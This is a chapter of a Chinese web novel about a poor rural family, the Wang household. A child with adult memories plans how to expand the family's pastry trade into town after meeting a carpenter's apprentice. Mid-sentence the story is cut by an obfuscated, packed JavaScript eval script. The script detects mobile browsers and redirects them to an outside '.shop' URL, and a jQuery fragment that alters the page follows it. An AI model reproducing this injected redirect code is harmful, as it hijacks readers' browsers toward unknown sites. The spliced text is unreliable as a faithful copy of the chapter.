26. 信息突破壁垒
作品:《《寒门贵子?不,是阖家青云》》 夏收的喧嚣渐渐平息,田野重归宁静。
王桃又回到了李家村学馆,巧酥的生意依旧不紧不慢地做着。每天清晨,王杏挎着竹篮出门的身影,成了村里一道寻常的风景。村民们习惯了那独特的焦香,也习惯了王家姐弟那实在的营生。
至于周家,并未对此投以过多关注。周管事偶尔从佃户市井闲谈中听闻此事,也只是轻蔑地撇撇嘴,当作一桩无关紧要的乡野趣闻禀报给周立文。
周立文正忙着夏粮入库,闻言眼皮都未抬起:“妇人稚子,小打小闹,贴补些油盐罢了,随他们去。”
这日,天气晴好。王老实记挂着刘木匠的恩情,便与李氏商量,带着王杏和王佑,提上攒下的几个鸡蛋、还有李氏特意做好的一包巧酥,去刘家村拜访感谢。
刘木匠见他们来,脸上也带了点笑意,尤其是看到那包花样别致的巧酥,拿在手里仔细看了看,点头道:“嗯,活学活用,还会弄点颜色了,不错。”
得知他们生意稳定,每月能有些进项,更是捻须微笑:“踏踏实实就好,细水长流。”
正说着话,院门外传来爽朗的招呼声:“师父,我回来看看您!”
声音未落,一个约莫不到三十的汉子大步走了进来。他身材不高,但很结实,皮肤是常年劳作的小麦色,双手骨节粗大,穿着一身半旧的靛蓝短打,精神头十足。肩上挎着一个沉甸甸的褡裢,随着他的步伐晃悠。
“栓子回来了?”刘木匠脸上笑容更真切了些,对王老实介绍道,“这是我早年收的徒弟,刘栓,现在在镇上自己开了个木匠铺子。”
刘栓放下褡裢,恭敬地给师父行了礼,通过介绍,又转向王老实一家,露出朴实的笑容,拱手道:“王叔,两位弟弟妹妹,有礼了。”
王老实连忙还礼,心里却有些吃惊。刘栓看起来就是个普通工匠,但眼神清亮,举止利落,身上带着一种见过些世面的开阔气度,与他印象里那些一辈子在土里刨食或者守着几样老手艺的乡民截然不同。
王佑也悄悄打量着这个刘栓,这就是能在镇上立足的独立手工业者。他的出现,让王佑对这个时代基层经济的认知,又多了一块拼图。
刘栓显然是个健谈且善于观察的人。他看到师父手里的巧酥,又听刘木匠简单说了王家用模具做营生的事,顿时来了兴趣:“哦?就是用了师父您刻的模子?我瞧瞧。”
他接过巧酥,不像寻常人只看好吃与否,而是仔细端详着上面的花纹,手指甚至轻轻抚过凹槽边缘,眼中露出专业品评的神色:“师父这手艺,宝刀不老啊!线条流畅,深浅得宜,脱模肯定顺溜。这花样设计得也巧,福字饱满,小鱼灵动,寓意好,看着就喜庆。”
他看向王杏和王佑,称赞道:“你们家也挺有想法,这巧酥看着就比寻常的精细,在哪儿卖呢?”
王老实憨厚地回答:“就在附近几个村子转转。”
刘栓点点头,带着点生意人的敏锐:“先在乡村站稳是对的,若是想多挣点,镇上反而更好。主街摊位贵,人也杂,但有些小巷子,或者码头、货栈附近,早上上工的人多,卖些便宜顶饿又好吃的零嘴,生意不会差。我铺子隔壁就是个卖早点的,他那馒头油条,做得也就那样,但胜在便宜管饱,早上忙得很。”
这话让王老实和王杏都有些动容,又有些畏难。
刘栓似乎看出他们的顾虑,笑道:“当然,镇上规矩多,地皮钱、巡街的,都得打点。而且竞争也大。你们这样稳稳地做,也挺好。要是哪天想去镇上试试,可以找我,别的不敢说,帮你们找个稳妥点、便宜点的角落,或者跟相熟的铺子商量借个屋檐,还是能说上点话的。”
王老实和王杏连忙道谢。王佑听着心中一动,刘栓在镇上经营,他的社交网络和生存智慧,正是王家目前最缺乏的。这个偶然的相遇,或许能成为一个重要的支点。
刘栓又接着聊了些镇上的见闻。
比如哪家铺子生意好,哪行当最近缺人手,官府有什么新的告示,甚至还有他从南来北往客商那里听来的零碎消息。他的话匣子一打开,便让王家人听得入了神,透过他的描述,看到了一个更鲜活、也充满更多可能性的外界。
王佑尤其听得仔细,镇上不同行业的生态,也让他对潜在的市场和机会有了更具体的想象。
临走时,刘栓将他铺子的位置告知王老实:“王叔,以后家里有什么木器家什要修要打,或者想去镇上看看,尽管找我。”
从刘家村回来,王佑的心就没真正平静过。刘栓那健谈的身影、对镇上营生了如指掌的从容,还有话语里透露出的那个更广阔的市井世界,在他心里激起一圈圈的涟漪。夜里,躺在自己的小床上,辗转反侧,毫无睡意。
他的大脑像一台过载的计算机,疯狂处理着近期获取的所有信息:
大姐从最初的麻木惊惧,到能独自卖巧酥,再到今天在刘家能安静倾听、甚至流露出思考的神情……她的心理创伤正在愈合,能力也在恢复。继续让她日复一日在熟悉的几个村庄间,兜售那三四十个巧酥,固然安稳,但对她的成长和这个家长期的发展而言,是否是一种浪费和停滞?
家庭每月收入近五百文,对改善基本生活有帮助,但距离支撑大哥未来更进一步的科举开销,甚至应对任何意外风险,还差得太远。
周家像悬在头顶上的利剑,目前巧酥营生规模微小,引不起周家兴趣。但一旦扩大,无论是增加产量、拓展销售范围、还是提高利润,都很难完全避开周家的耳目。周家绝不会允许自己投资的潜力股,脱离影响范围。届时,周家会以什么方式介入?
刘栓这条线是一个非周家体系内的本地资源。他在镇上的人脉和对市井规则的熟悉,或许能成为他们家尝试向镇上发展的‘盲杖’。但如何运用?运用到什么程度?
而自身五岁的身体,锁住了他绝大部分的行动力和话语权。他所有的谋划,都必须通过父母兄姐来实现,这中间充满了信息损耗、理解偏差和执行变形。
王佑在脑海中反复推演各种可能性:
维持现状最安全,可能错失刘栓关系尚热的最佳发展窗口期。等大哥院试结果出来,无论中与不中,家庭重心和外部关注度都会变化,到时再想动,可能更麻烦。
不扩大销售范围,但在现有客户群中提升价值。比如,做更精细的‘礼品装’巧酥?瞄准村里婚丧嫁娶、年节走礼的微量需求?或者,尝试用其他更便宜易得的材料开发新口味?
每一个方案都有利有弊,都需要更具体的信息支撑,王佑越想越深,越想越细,甚至开始模拟周家得知王家‘不安分’后可能的各种反应及应对策略……直到窗外传来第一声鸡鸣,东方天际泛起鱼肚白,他才惊觉自己竟彻夜未眠。
清晨,王佑顶着一对醒目的黑眼圈出现在家人面前时,把父母和大姐都吓了一跳。
“佑儿,你这是怎么了?没睡好?是不是哪不舒服?”李氏连忙放下手里的活计,伸手去摸他的额头。
王老实也皱眉看着儿子:“做噩梦了?”
王杏则担忧地看着幼弟苍白的小脸和眼下那两片青黑。
王佑揉了揉酸涩的眼睛,强打精神摇摇头:“娘,我没事,就是……就是昨晚想事情,睡不着。”
“一个娃娃家,有什么事情好想的,还能想一夜?”王老实温怒。
王佑知道瞒不过,而且他确实需要和家人沟通接下来的打算。他走到水缸边,用凉水拍了拍脸,感觉清醒了些,然后转过身,看着家人。
“爹,娘,大姐,我在想咱们家卖巧酥的事。”
“卖巧酥怎么了?不是挺好的吗?”李氏不解。
王佑点头:“是挺好,够咱们贴补家用,让大姐也有事做。可是……爹,娘,你们想过没有,大哥要是秋后中了秀才,以后要去府城书院读书,花费会多很多。咱们光靠地里和这点巧酥,够吗?”
这话让
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960769|193289||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
王老实和李氏脸上的轻松瞬间凝固,他们何尝没想过,只是不敢深想。
王佑继续道:“还有,大姐总不能一直在村里卖。咱们得想想,怎么能让这营生,再往前走一小步,多赚一点点,又不会惹麻烦。”
王老实眉头拧紧:“佑儿,你怕惹什么麻烦?”
王佑没有直接提周家,而是说道:“咱们生意做大了,抢了别人饭碗,或者让人眼红,都是麻烦。昨天刘栓哥不是说了吗?镇上规矩多,地头蛇也多。”
王杏听到镇上,身体微微绷紧,但眼神却与以往不同,她轻声开口:“佑弟,你想……怎么做?”
王佑看向王杏,露出一个比哭还难看的笑容:“大姐......我还没想好!”
那句‘我还没想好’脱口而出,带着一丝孩童般的懊恼和无奈,瞬间将方才凝重的气氛戳破了一个小口。
王老实紧绷的肩膀松懈下来,甚至有些失笑,摇了摇头:“你这孩子,自己都没想明白,倒把我和你娘吓得够呛。”
李氏也松了口气,嗔怪地拍了拍王佑的后背:“就是,小小年纪,操心那么多干嘛!快洗漱吃饭,看看你那黑眼圈!”
王杏紧绷的身体也放松了些,看着弟弟那副又认真又挫败的小模样,脸上冷不住露出怜惜的笑意。弟弟为她,为这个家,思虑太多了。
王佑大口扒拉着碗里的粥,咸菜嚼得咯吱响,仿佛在跟自己较劲。他刚才确实差点冲口而出几个具体的方案,但话到嘴边,又被硬生生咽了回去。
他需要一个更稳妥的切入点,一个既能试探市场、锻炼大姐、又绝对安全的‘试验场’。刘栓人不错,但终究交情尚浅,王家对他而言不过是师父的乡邻,他能提供多少实质性的庇护和指点还未可知。
王杏吃完早饭,默默收拾好竹篮,今天该去赵家村。她看了一眼还坐在那里,显然还在苦思冥想的王佑,轻声问:“佑弟,今天跟我去吗?”
王佑抬起头,大姐的眼神里有询问,还有一丝或许连她自己都没意识到的期待。期待弟弟能继续陪着她,就像之前每一次那样,给她勇气和支撑。
“去!”王佑立刻点头,跳下凳子,“大姐你等等我!”
他飞快地跑回屋里,换了件干净小褂,又仔细洗了把脸,努力振作精神。
路上,王杏走得不快,似乎有心事。快到赵家村村口时,她忽然停下脚步,转头看向弟弟,声音很轻地问道:“佑弟,你昨天晚上想的……”
王佑愣了一下,没想到大姐会主动问起。他点点头,诚实地说:“嗯,光这样卖太慢了。”
他怕大姐误会,连忙补充:“不是大姐做得不好!是咱们卖得少,地方也小。”
“镇上……真的那么麻烦吗?”她问,语气里不再是单纯的恐惧,而是多了一丝探究和权衡。
“刘栓哥说,规矩多,人也杂。”王佑斟酌着词句,“但机会可能也多。大姐,你觉得……咱们做的巧酥,在镇上会有人买吗?”
王杏认真地想了想,点了点头:“应该……会吧。”
“那如果……不用咱们自己去摆摊呢?”王佑试探着问。
王杏疑惑地看着他。
“比如……咱们把做好的巧酥,便宜一点,批发……哦,就是一次卖点给镇上的某个人,让他去卖?或者,给镇上的小茶馆、早点铺子供货?他们搭着卖?”王佑尽量用简单的语言描述分销或供货的概念。
王杏的眼睛慢慢亮了起来,提出了一个关键问题:“可是……人家凭什么要咱们的?”
“所以,咱们得先做出点不一样的,让人家觉得值得要。比如,咱们能不能做出一种……更方便携带、不容易碎、样子又好看的巧酥?”王佑思路愈发清晰,他想起前世那些独立包装、改良的传统零食。
王杏喃喃重复着王佑的话,目光落在路边的野花野草上,又似乎透过它们,看到了灶间里那些熟悉的面粉、芝麻、豆子、糖稀……

